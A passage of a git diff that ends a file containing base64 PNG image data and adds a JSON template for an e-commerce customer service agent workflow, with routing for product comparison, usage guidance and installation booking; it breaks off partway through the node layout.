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"
+}
+
diff --git a/agent/templates/ecommerce_customer_service_workflow.json b/agent/templates/ecommerce_customer_service_workflow.json
new file mode 100644
index 0000000..010e9e1
--- /dev/null
+++ b/agent/templates/ecommerce_customer_service_workflow.json
@@ -0,0 +1,1054 @@
+{
+ "id": 22,
+ "title": {
+ "en": "Ecommerce Customer Service Workflow",
+ "zh": "电子商务客户服务工作流程"
+ },
+ "description": {
+ "en": "This template helps e-commerce platforms address complex customer needs, such as comparing product features, providing usage support, and coordinating home installation services.",
+ "zh": "该模板可帮助电子商务平台解决复杂的客户需求,例如比较产品功能、提供使用支持和协调家庭安装服务。"
+ },
+ "canvas_type": "Customer Support",
+ "dsl": {
+ "components": {
+ "Agent:DeepCoatsDress": {
+ "downstream": [
+ "Message:KhakiSymbolsMarry"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "cite": true,
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 6,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query is {sys.query}\n\n\n",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\nYou are an Installation Booking Assistant.\n## Goal\nCollect the following three pieces of information from the user \n1. Contact Number \n2. Preferred Installation Time \n3. Installation Address \nOnce all three are collected, confirm the information and inform the user that a technician will contact them later by phone.\n## Instructions\n1. **Check if all three details** (Contact Number, Preferred Installation Time, Installation Address) have been provided.\n2. **If some details are missing**, acknowledge the ones provided and only ask for the missing information.\n3. Do **not repeat** the full request once some details are already known.\n4. Once all three details are collected, summarize and confirm them with the user.",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Categorize:NewDonkeysShare"
+ ]
+ },
+ "Agent:PlentyCandiesRefuse": {
+ "downstream": [
+ "Message:KhakiSymbolsMarry"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "cite": true,
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query is {sys.query}\n\n\nSchema is {Retrieval:EightyDaysHappen@formalized_content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Specification Comparison Agent Prompt\n## Role\nYou are a product specification comparison assistant.\n## Goal\nHelp the user compare two or more products based on their features and specifications. Provide clear, accurate, and concise comparisons to assist the user in making an informed decision.\n---\n## Instructions\n- Start by confirming the product models or options the user wants to compare.\n- If the user has not specified the models, politely ask for them.\n- Present the comparison in a structured way (e.g., bullet points or a table format if supported).\n- Highlight key differences such as size, capacity, performance, energy efficiency, and price if available.\n- Maintain a neutral and professional tone without suggesting unnecessary upselling.\n---",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Retrieval:EightyDaysHappen"
+ ]
+ },
+ "Agent:ShinyCooksCall": {
+ "downstream": [
+ "Message:KhakiSymbolsMarry"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "cite": true,
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User\u2018s query is {sys.query}\n\nSchema is {Retrieval:EagerTipsFeel@formalized_content}\n\n",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Usage Guide Agent Prompt\n## Role\nYou are a product usage guide assistant.\n## Goal\nProvide clear, step-by-step instructions to help the user set up, operate, and maintain their product. Answer questions about functions, settings, and troubleshooting.\n---\n## Instructions\n- If the user asks about setup, provide easy-to-follow installation or configuration steps.\n- If the user asks about a feature, explain its purpose and how to activate it.\n- For troubleshooting, suggest common solutions first, then guide through advanced checks if needed.\n- Keep the response simple, clear, and actionable for a non-technical user.\n---",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Retrieval:EagerTipsFeel"
+ ]
+ },
+ "Categorize:NewDonkeysShare": {
+ "downstream": [
+ "Retrieval:EightyDaysHappen",
+ "Retrieval:EagerTipsFeel",
+ "Agent:DeepCoatsDress"
+ ],
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "category_description": {
+ "Book Installation": {
+ "description": "Handles the user\u2019s request to schedule, reschedule, or confirm an appointment for professional installation services at the customer\u2019s location.",
+ "examples": [
+ "\u201cI\u2019d like to schedule installation for my product.\u201d\n\n\u201cCan I reschedule my installation appointment for next week?\u201d\n"
+ ],
+ "to": [
+ "Agent:DeepCoatsDress"
+ ]
+ },
+ "Product Feature Comparison": {
+ "description": "Helps the user compare the features, technical specifications, and characteristics of different products to assist them in making an informed purchase decision.",
+ "examples": [
+ "\u201cCan you compare the features of Model X and Model Y?\u201d\n\n\u201cWhat\u2019s the difference between Option A and Option B?\u201d\n\n\u201cWhich model, X100 or X200, has better performance and more features?\u201d"
+ ],
+ "to": [
+ "Retrieval:EightyDaysHappen"
+ ]
+ },
+ "Product Usage Guide": {
+ "description": "Provides the user with detailed instructions, guides, or troubleshooting tips for using, maintaining, or optimizing the performance of their purchased product.",
+ "examples": [
+ "\u201cHow do I set up this product?\u201d\n\n\u201cHow do I clean and maintain this product?\u201d\n\n\u201cCan you guide me on how to use the advanced features?\u201d"
+ ],
+ "to": [
+ "Retrieval:EagerTipsFeel"
+ ]
+ }
+ },
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "query": "sys.query"
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:KhakiSymbolsMarry": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:PlentyCandiesRefuse@content}{Agent:ShinyCooksCall@content}{Agent:DeepCoatsDress@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:PlentyCandiesRefuse",
+ "Agent:ShinyCooksCall",
+ "Agent:DeepCoatsDress"
+ ]
+ },
+ "Retrieval:EagerTipsFeel": {
+ "downstream": [
+ "Agent:ShinyCooksCall"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [
+ "a5aaec4a819b11f095f1047c16ec874f"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "Categorize:NewDonkeysShare"
+ ]
+ },
+ "Retrieval:EightyDaysHappen": {
+ "downstream": [
+ "Agent:PlentyCandiesRefuse"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [
+ "65cb5150819b11f08347047c16ec874f"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "Categorize:NewDonkeysShare"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Categorize:NewDonkeysShare"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your assistant. "
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Categorize:NewDonkeysShareend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Categorize:NewDonkeysShare",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:EightyDaysHappenstart-Agent:PlentyCandiesRefuseend",
+ "source": "Retrieval:EightyDaysHappen",
+ "sourceHandle": "start",
+ "target": "Agent:PlentyCandiesRefuse",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:EagerTipsFeelstart-Agent:ShinyCooksCallend",
+ "source": "Retrieval:EagerTipsFeel",
+ "sourceHandle": "start",
+ "target": "Agent:ShinyCooksCall",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:NewDonkeysShare3f76ad5d-1562-4323-bd13-474a80938db0-Retrieval:EightyDaysHappenend",
+ "markerEnd": "logo",
+ "source": "Categorize:NewDonkeysShare",
+ "sourceHandle": "3f76ad5d-1562-4323-bd13-474a80938db0",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Retrieval:EightyDaysHappen",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:NewDonkeysShare442ea422-de6a-4c78-afcd-ac4a41daa4ca-Retrieval:EagerTipsFeelend",
+ "markerEnd": "logo",
+ "source": "Categorize:NewDonkeysShare",
+ "sourceHandle": "442ea422-de6a-4c78-afcd-ac4a41daa4ca",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Retrieval:EagerTipsFeel",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:PlentyCandiesRefusestart-Message:KhakiSymbolsMarryend",
+ "markerEnd": "logo",
+ "source": "Agent:PlentyCandiesRefuse",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:KhakiSymbolsMarry",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:ShinyCooksCallstart-Message:KhakiSymbolsMarryend",
+ "markerEnd": "logo",
+ "source": "Agent:ShinyCooksCall",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:KhakiSymbolsMarry",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:NewDonkeysShare81a65fca-a460-4a3b-a4d5-50e76da760bb-Agent:DeepCoatsDressend",
+ "markerEnd": "logo",
+ "source": "Categorize:NewDonkeysShare",
+ "sourceHandle": "81a65fca-a460-4a3b-a4d5-50e76da760bb",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Agent:DeepCoatsDress",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:DeepCoatsDressstart-Message:KhakiSymbolsMarryend",
+ "markerEnd": "logo",
+ "source": "Agent:DeepCoatsDress",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:KhakiSymbolsMarry",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your assistant. "
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 16.54401073812774,
+ "y": 204.87390426641298
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "items": [
+ {
+ "description": "Helps the user compare the features, technical specifications, and characteristics of different products to assist them in making an informed purchase decision.",
+ "examples": [
+ {
+ "value": "\u201cCan you compare the features of Model X and Model Y?\u201d\n\n\u201cWhat\u2019s the difference between Option A and Option B?\u201d\n\n\u201cWhich model, X100 or X200, has better performance and more features?\u201d"
+ }
+ ],
+ "name": "Product Feature Comparison",
+ "uuid": "3f76ad5d-1562-4323-bd13-474a80938db0"
+ },
+ {
+ "description": "Provides the user with detailed instructions, guides, or troubleshooting tips for using, maintaining, or optimizing the performance of their purchased product.",
+ "examples": [
+ {
+ "value": "\u201cHow do I set up this product?\u201d\n\n\u201cHow do I clean and maintain this product?\u201d\n\n\u201cCan you guide me on how to use the advanced features?\u201d"
+ }
+ ],
+ "name": "Product Usage Guide",
+ "uuid": "442ea422-de6a-4c78-afcd-ac4a41daa4ca"
+ },
+ {
+ "description": "Handles the user\u2019s request to schedule, reschedule, or confirm an appointment for professional installation services at the customer\u2019s location.",
+ "examples": [
+ {
+ "value": "\u201cI\u2019d like to schedule installation for my product.\u201d\n\n\u201cCan I reschedule my installation appointment for next week?\u201d\n"
+ }
+ ],
+ "name": "Book Installation",
+ "uuid": "81a65fca-a460-4a3b-a4d5-50e76da760bb"
+ }
+ ],
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_tokens": 256,
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "query": "sys.query",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "topPEnabled": false,
+ "top_p": 0.3
+ },
+ "label": "Categorize",
+ "name": "Event Classification"
+ },
+ "dragging": false,
+ "id": "Categorize:NewDonkeysShare",
+ "measured": {
+ "height": 172,
+ "width": 200
+ },
+ "position": {
+ "x": 291.21809479853766,
+ "y": 142.25418266609364
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "categorizeNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [
+ "65cb5150819b11f08347047c16ec874f"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Feature Comparison Knowledge Base"
+ },
+ "dragging": false,
+ "id": "Retrieval:EightyDaysHappen",
+ "measured": {
+ "height": 96,
+ "width": 200
+ },
+ "position": {
+ "x": 566.9838181044963,
+ "y": 60.56474206037082
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cite": true,
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query is {sys.query}\n\n\nSchema is {Retrieval:EightyDaysHappen@formalized_content}",
